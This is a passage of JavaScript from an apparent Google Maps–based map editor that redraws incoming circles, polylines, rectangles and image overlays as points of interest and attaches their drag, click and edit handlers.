\"circle\";\n var poiDescTemp = MAPEDITOR.GLOBAL.DEFINES.incomingCircleLabel[i];\n document.getElementById(\"poiList\").innerHTML += MAPEDITOR.UTILITIES.writeHTML(\"poiListItemIncoming\", MAPEDITOR.GLOBAL.DEFINES.poi_i, poiId, poiDescTemp);\n MAPEDITOR.GLOBAL.DEFINES.poiDesc[MAPEDITOR.GLOBAL.DEFINES.poi_i] = poiDescTemp;\n var contentString = MAPEDITOR.UTILITIES.writeHTML(\"poiDescIncoming\", MAPEDITOR.GLOBAL.DEFINES.poi_i, poiDescTemp, \"\");\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new google.maps.InfoWindow({\n content: contentString\n });\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].setPosition(circle.getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].open(map);\n MAPEDITOR.GLOBAL.DEFINES.poiCount++;\n\n google.maps.event.addListener(circle, 'dragstart', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(null);\n }\n }\n });\n\n google.maps.event.addListener(circle, 'drag', function () {\n //used to get the center point for lat/long tool\n MAPEDITOR.GLOBAL.DEFINES.circleCenter = this.getCenter();\n var str = this.getCenter().toString();\n var cLatV = str.replace(\"(\", \"\").replace(\")\", \"\").split(\",\", 1);\n var cLongV = str.replace(cLatV, \"\").replace(\"(\", \"\").replace(\")\", \"\").replace(\",\", \"\"); //is this better than passing into array?s\n if (cLatV.indexOf(\"-\") != 0) {\n latH = \"N\";\n } else {\n latH = \"S\";\n }\n if (cLongV.indexOf(\"-\") != 0) {\n longH = \"W\";\n } else {\n longH = \"E\";\n }\n document.getElementById(\"cLat\").innerHTML = cLatV + \" (\" + latH + \")\";\n document.getElementById(\"cLong\").innerHTML = cLongV + \" (\" + longH + \")\";\n });\n\n google.maps.event.addListener(circle, 'dragend', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(this.getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(this.getCenter());\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n }\n }\n });\n\n google.maps.event.addListener(circle, 'click', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(this.getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(map);\n }\n }\n });\n\n google.maps.event.addListener(circle, 'center_changed', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(circle.getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(circle.getCenter());\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n }\n }\n });\n\n google.maps.event.addListener(circle, 'radius_changed', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n });\n\n //set listener for right click (fixes reset issue over overlays)\n google.maps.event.addListener(circle, 'rightclick', function () {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //reset drawing manager no matter what\n //MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n });\n\n break;\n }\n }\n } else {\n //nothing\n }\n //once everything is drawn, determine if there are pois\n if (MAPEDITOR.GLOBAL.DEFINES.poiCount > 0) {\n //close and reopen pois (to fix firefox bug)\n setTimeout(function () {\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = true;\n MAPEDITOR.ACTIONS.toggleVis(\"pois\");\n MAPEDITOR.ACTIONS.toggleVis(\"pois\");\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = false;\n //this hides the MAPEDITOR.GLOBAL.DEFINES.infoWindows at startup\n for (var j = 0; j < MAPEDITOR.GLOBAL.DEFINES.poiCount; j++) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[j].setMap(null);\n }\n }, 1000);\n }\n\n MAPEDITOR.TRACER.addTracer(\"[INFO]: displayIncomingCircles completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n displayIncomingLines: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: DisplayIncomingLines started...\");\n if (MAPEDITOR.GLOBAL.DEFINES.incomingLinePath.length > 0) {\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.incomingLinePath.length; i++) {\n switch (MAPEDITOR.GLOBAL.DEFINES.incomingLineFeatureType[i]) {\n case \"\":\n break;\n case \"main\":\n break;\n case \"poi\":\n MAPEDITOR.TRACER.addTracer(\"[INFO]: incoming poi: \" + i + \" \" + MAPEDITOR.GLOBAL.DEFINES.incomingLineLabel[i]);\n var polyline = new google.maps.Polyline({\n path: MAPEDITOR.GLOBAL.DEFINES.incomingLinePath[i],\n map: map,\n title: MAPEDITOR.GLOBAL.DEFINES.incomingLineLabel[i]\n });\n\n polyline.setOptions(MAPEDITOR.GLOBAL.DEFINES.polylineOptionsPOI);\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n MAPEDITOR.GLOBAL.DEFINES.poi_i++;\n var poiId = MAPEDITOR.GLOBAL.DEFINES.poi_i + 1;\n MAPEDITOR.GLOBAL.DEFINES.poiObj[MAPEDITOR.GLOBAL.DEFINES.poi_i] = polyline;\n MAPEDITOR.GLOBAL.DEFINES.poiType[MAPEDITOR.GLOBAL.DEFINES.poi_i] = \"polyline\";\n var poiDescTemp = MAPEDITOR.GLOBAL.DEFINES.incomingLineLabel[i];\n document.getElementById(\"poiList\").innerHTML += MAPEDITOR.UTILITIES.writeHTML(\"poiListItemIncoming\", MAPEDITOR.GLOBAL.DEFINES.poi_i, poiId, poiDescTemp);\n MAPEDITOR.GLOBAL.DEFINES.poiDesc[MAPEDITOR.GLOBAL.DEFINES.poi_i] = poiDescTemp;\n var contentString = MAPEDITOR.UTILITIES.writeHTML(\"poiDescIncoming\", MAPEDITOR.GLOBAL.DEFINES.poi_i, poiDescTemp, \"\");\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new google.maps.InfoWindow({\n content: contentString\n });\n var polylinePoints = [];\n var polylinePointCount = 0;\n polyline.getPath().forEach(function (latLng) {\n polylinePoints[polylinePointCount] = latLng;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: polylinePoints[\" + polylinePointCount + \"] = \" + latLng);\n polylinePointCount++;\n });\n MAPEDITOR.TRACER.addTracer(\"[INFO]: polylinePointCount: \" + polylinePointCount);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: polylinePoints.length: \" + polylinePoints.length);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: Math.round((polylinePoints.length / 2)): \" + Math.round((polylinePoints.length / 2)));\n var polylineCenterPoint = polylinePoints[Math.round((polylinePoints.length / 2))];\n MAPEDITOR.TRACER.addTracer(\"[INFO]: polylineCenterPoint: \" + polylineCenterPoint);\n var polylineStartPoint = polylinePoints[0];\n MAPEDITOR.TRACER.addTracer(\"[INFO]: polylineStartPoint: \" + polylineStartPoint);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].setPosition(polylineStartPoint);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].open(map);\n\n //best fix so far\n if (MAPEDITOR.GLOBAL.DEFINES.poiCount == 0) {\n setTimeout(function () {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setMap(map);\n }, 800);\n }\n\n MAPEDITOR.GLOBAL.DEFINES.poiCount++;\n MAPEDITOR.GLOBAL.DEFINES.label[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new MarkerWithLabel({\n position: polylineStartPoint, //position at start of polyline\n zIndex: 2,\n map: map,\n labelContent: MAPEDITOR.GLOBAL.DEFINES.incomingLineLabel[i],\n labelAnchor: new google.maps.Point(15, 0),\n labelClass: \"labels\", // the CSS class for the label\n labelStyle: { opacity: 0.75 },\n icon: {} //initialize to nothing so no marker shows\n });\n\n google.maps.event.addListener(polyline, 'mouseout', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n var polylinePoints = [];\n var polylinePointCount = 0;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: here1\");\n this.getPath().forEach(function (latLng) {\n polylinePoints[polylinePointCount] = latLng;\n polylinePointCount++;\n });\n MAPEDITOR.TRACER.addTracer(\"[INFO]: here2\");\n var polylineCenterPoint = polylinePoints[(polylinePoints.length / 2)];\n var polylineStartPoint = polylinePoints[0];\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(polylineStartPoint);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(polylineStartPoint);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: here3\");\n }\n }\n });\n\n google.maps.event.addListener(polyline, 'dragstart', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(null);\n }\n }\n });\n\n google.maps.event.addListener(polyline, 'drag', function () {\n //used for lat/long tooll\n var bounds = new google.maps.LatLngBounds;\n this.getPath().forEach(function (latLng) { bounds.extend(latLng); });\n var polylineCenter = bounds.getCenter();\n var str = polylineCenter.toString();\n var cLatV = str.replace(\"(\", \"\").replace(\")\", \"\").split(\",\", 1);\n var cLongV = str.replace(cLatV, \"\").replace(\"(\", \"\").replace(\")\", \"\").replace(\",\", \"\"); //is this better than passing into array?s\n if (cLatV.indexOf(\"-\") != 0) {\n latH = \"N\";\n } else {\n latH = \"S\";\n }\n if (cLongV.indexOf(\"-\") != 0) {\n longH = \"W\";\n } else {\n longH = \"E\";\n }\n document.getElementById(\"cLat\").innerHTML = cLatV + \" (\" + latH + \")\";\n document.getElementById(\"cLong\").innerHTML = cLongV + \" (\" + longH + \")\";\n });\n\n google.maps.event.addListener(polyline, 'dragend', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n //var bounds = new google.maps.LatLngBounds;\n //polyline.getPath().forEach(function (latLng) { bounds.extend(latLng); });\n //var polylineCenter = bounds.getCenter();\n //var bounds = new google.maps.LatLngBounds; //spatial center, bounds holder\n\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n var polylinePoints = [];\n var polylinePointCount = 0;\n this.getPath().forEach(function (latLng) {\n polylinePoints[polylinePointCount] = latLng;\n polylinePointCount++;\n });\n var polylineCenterPoint = polylinePoints[(polylinePoints.length / 2)];\n var polylineStartPoint = polylinePoints[0];\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(polylineStartPoint);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(polylineStartPoint);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n }\n }\n });\n\n google.maps.event.addListener(polyline, 'click', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n //var bounds = new google.maps.LatLngBounds;\n //polyline.getPath().forEach(function (latLng) { bounds.extend(latLng); });\n //var polylineCenter = bounds.getCenter();\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n var polylinePoints = [];\n var polylinePointCount = 0;\n this.getPath().forEach(function (latLng) {\n polylinePoints[polylinePointCount] = latLng;\n polylinePointCount++;\n });\n var polylineCenterPoint = polylinePoints[(polylinePoints.length / 2)];\n var polylineStartPoint = polylinePoints[0];\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(polylineStartPoint);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(map);\n }\n }\n });\n\n google.maps.event.addListener(polyline.getPath(), 'set_at', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true; //2do what does this do? why is it important?\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: inside loop1\");\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n //var bounds = new google.maps.LatLngBounds;\n //polyline.getPath().forEach(function (latLng) { bounds.extend(latLng); });\n //var polylineCenter = bounds.getCenter();\n //var bounds = new google.maps.LatLngBounds; //spatial center, bounds holder\n var polylinePoints = [];\n var polylinePointCount = 0;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: here1\");\n polyline.getPath().forEach(function (latLng) {\n polylinePoints[polylinePointCount] = latLng;\n polylinePointCount++;\n });\n MAPEDITOR.TRACER.addTracer(\"[INFO]: here2\");\n var polylineCenterPoint = polylinePoints[(polylinePoints.length / 2)];\n var polylineStartPoint = polylinePoints[0];\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].setPosition(polylineStartPoint);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].open(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(polylineStartPoint);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: here3\");\n }\n }\n });\n\n //set listener for right click (fixes reset issue over overlays)\n google.maps.event.addListener(polyline, 'rightclick', function () {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //reset drawing manager no matter what\n //MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n });\n\n break;\n }\n }\n\n } else {\n //nothing\n }\n //once everything is drawn, determine if there are pois\n if (MAPEDITOR.GLOBAL.DEFINES.poiCount > 0) {\n //close and reopen pois (to fix firefox bug)\n setTimeout(function () {\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = true;\n MAPEDITOR.ACTIONS.toggleVis(\"pois\");\n MAPEDITOR.ACTIONS.toggleVis(\"pois\");\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = false;\n //this hides the MAPEDITOR.GLOBAL.DEFINES.infoWindows at startup\n for (var j = 0; j < MAPEDITOR.GLOBAL.DEFINES.poiCount; j++) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[j].setMap(null);\n }\n }, 1000);\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: DisplayIncomingLines completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n displayIncomingPolygons: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: displayIncomingPolygons started...\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: length: \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonFeatureType.length);\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.incomingPolygonFeatureType.length; i++) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: ft: \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonFeatureType[i]);\n if (MAPEDITOR.GLOBAL.DEFINES.incomingPolygonFeatureType[i] == \"TEMP_main\") {\n //hidden do nothing\n MAPEDITOR.GLOBAL.DEFINES.incomingPolygonFeatureType[i] = \"hidden\";\n MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPolygonType[i] = \"hidden\";\n MAPEDITOR.TRACER.addTracer(\"[INFO]: converting TEMP_ for \" + i);\n }\n switch (MAPEDITOR.GLOBAL.DEFINES.incomingPolygonFeatureType[i]) {\n case \"hidden\":\n //hidden do nothing\n MAPEDITOR.TRACER.addTracer(\"[INFO]: doing nothing for \" + i);\n break;\n case \"\":\n MAPEDITOR.TRACER.addTracer(\"[INFO]: doing case2 for \" + i);\n MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex = MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i];\n //create overlay with incoming\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i]] = new MAPEDITOR.UTILITIES.CustomOverlay(MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i], MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPath[i], MAPEDITOR.GLOBAL.DEFINES.incomingPolygonSourceURL[i], map, MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[i]);\n MAPEDITOR.GLOBAL.DEFINES.currentlyEditing = \"no\";\n //set the overlay to the map\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i]].setMap(map);\n //MAPEDITOR.UTILITIES.keepRotate(MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[i]);\n //set hotspot on top of overlay\n MAPEDITOR.UTILITIES.setGhostOverlay(MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i], MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPath[i]);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: I created ghost: \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i]);\n MAPEDITOR.GLOBAL.DEFINES.mainCount++;\n MAPEDITOR.GLOBAL.DEFINES.incomingACL = \"overlay\";\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //reset drawing manager no matter what\n //MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.overlaysCurrentlyDisplayed = true;\n break;\n case \"main\":\n MAPEDITOR.TRACER.addTracer(\"[INFO]: doing case3 for \" + i);\n MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex = MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i];\n //create overlay with incoming\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i]] = new MAPEDITOR.UTILITIES.CustomOverlay(MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i], MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPath[i], MAPEDITOR.GLOBAL.DEFINES.incomingPolygonSourceURL[i], map, MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[i]);\n MAPEDITOR.GLOBAL.DEFINES.currentlyEditing = \"no\";\n //set the overlay to the map\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i]].setMap(map);\n //MAPEDITOR.UTILITIES.keepRotate(MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[i]);\n //set hotspot on top of overlay\n MAPEDITOR.UTILITIES.setGhostOverlay(MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i], MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPath[i]);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: I created ghost: \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i]);\n MAPEDITOR.GLOBAL.DEFINES.mainCount++;\n MAPEDITOR.GLOBAL.DEFINES.incomingACL = \"overlay\";\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //reset drawing manager no matter what\n //MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.overlaysCurrentlyDisplayed = true;\n break;\n case \"poi\":\n MAPEDITOR.TRACER.addTracer(\"[INFO]: doing case4 for \" + i);\n //determine polygon type\n if (MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPolygonType[i] == \"rectangle\") {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: incoming poi: \" + i + \" \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonLabel[i]);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: detected incoming rectangle\");\n //convert path to a rectangle bounds\n\n var pathCount = 0;\n var polygon = new google.maps.Polygon({\n paths: MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPath[i]\n });\n\n polygon.getPath().forEach(function () { pathCount++; });\n if (pathCount == 2) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: pathcount: \" + pathCount);\n var l = [5];\n var lcount = 1;\n polygon.getPath().forEach(function (latLng) {\n var newLatLng = String(latLng).split(\",\");\n var lat = newLatLng[0].replace(\"(\", \"\");\n var lng = newLatLng[1].replace(\")\", \"\");\n l[lcount] = lat;\n lcount++;\n l[lcount] = lng;\n lcount++;\n });\n MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPath[i] = new google.maps.LatLngBounds(new google.maps.LatLng(l[3], l[2]), new google.maps.LatLng(l[1], l[4]));\n //rectangle.setBounds([new google.maps.LatLng(l[1], l[4]), new google.maps.LatLng(l[3], l[4]), new google.maps.LatLng(l[3], l[2]), new google.maps.LatLng(l[1], l[2])]);\n }\n\n var rectangle = new google.maps.Rectangle({\n bounds: MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPath[i],\n map: map,\n title: MAPEDITOR.GLOBAL.DEFINES.incomingPolygonLabel[i]\n });\n\n rectangle.setOptions(MAPEDITOR.GLOBAL.DEFINES.rectangleOptionsPOI);\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n MAPEDITOR.GLOBAL.DEFINES.poi_i++;\n MAPEDITOR.GLOBAL.DEFINES.label[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new MarkerWithLabel({\n position: rectangle.getBounds().getCenter(), //position of real marker\n zIndex: 2,\n map: map,\n labelContent: MAPEDITOR.GLOBAL.DEFINES.incomingPolygonLabel[i],\n labelAnchor: new google.maps.Point(15, 0),\n labelClass: \"labels\", // the CSS class for the label\n labelStyle: { opacity: 0.75 },\n icon: {} //initialize to nothing so no marker shows\n });\n\n var poiId = MAPEDITOR.GLOBAL.DEFINES.poi_i + 1;\n MAPEDITOR.GLOBAL.DEFINES.poiObj[MAPEDITOR.GLOBAL.DEFINES.poi_i] = rectangle;\n MAPEDITOR.GLOBAL.DEFINES.poiType[MAPEDITOR.GLOBAL.DEFINES.poi_i] = \"rectangle\";\n var poiDescTemp = MAPEDITOR.GLOBAL.DEFINES.incomingPolygonLabel[i];\n document.getElementById(\"poiList\").innerHTML += MAPEDITOR.UTILITIES.writeHTML(\"poiListItemIncoming\", MAPEDITOR.GLOBAL.DEFINES.poi_i, poiId, poiDescTemp);\n MAPEDITOR.GLOBAL.DEFINES.poiDesc[MAPEDITOR.GLOBAL.DEFINES.poi_i] = poiDescTemp;\n var contentString = MAPEDITOR.UTILITIES.writeHTML(\"poiDescIncoming\", MAPEDITOR.GLOBAL.DEFINES.poi_i, poiDescTemp, \"\");\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new google.maps.InfoWindow({\n content: contentString\n });\n\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].setPosition(rectangle.getBounds().getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].open(map);\n //best fix so far\n if (MAPEDITOR.GLOBAL.DEFINES.poiCount == 0) {\n setTimeout(function () {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setMap(map);\n }, 800);\n }\n\n MAPEDITOR.GLOBAL.DEFINES.poiCount++;\n\n google.maps.event.addListener(rectangle, 'bounds_changed', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(this.getBounds().getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(this.getBounds().getCenter());\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n }\n }\n });\n\n google.maps.event.addListener(rectangle, 'dragstart', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(null);\n }\n }\n });\n\n google.maps.event.addListener(rectangle, 'drag', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(null);\n }\n }\n //used to get center point for lat/long tool\n var str = this.getBounds().getCenter().toString();\n var cLatV = str.replace(\"(\", \"\").replace(\")\", \"\").split(\",\", 1);\n var cLongV = str.replace(cLatV, \"\").replace(\"(\", \"\").replace(\")\", \"\").replace(\",\", \"\");\n if (cLatV.indexOf(\"-\") != 0) {\n latH = \"N\";\n } else {\n latH = \"S\";\n }\n if (cLongV.indexOf(\"-\") != 0) {\n longH = \"W\";\n } else {\n longH = \"E\";\n }\n document.getElementById(\"cLat\").innerHTML = cLatV + \" (\" + latH + \")\";\n document.getElementById(\"cLong\").innerHTML = cLongV + \" (\" + longH + \")\";\n });\n\n google.maps.event.addListener(rectangle, 'dragend', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(this.getBounds().getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(this.getBounds().getCenter());\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n }\n }\n });\n\n google.maps.event.addListener(rectangle, 'click', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; 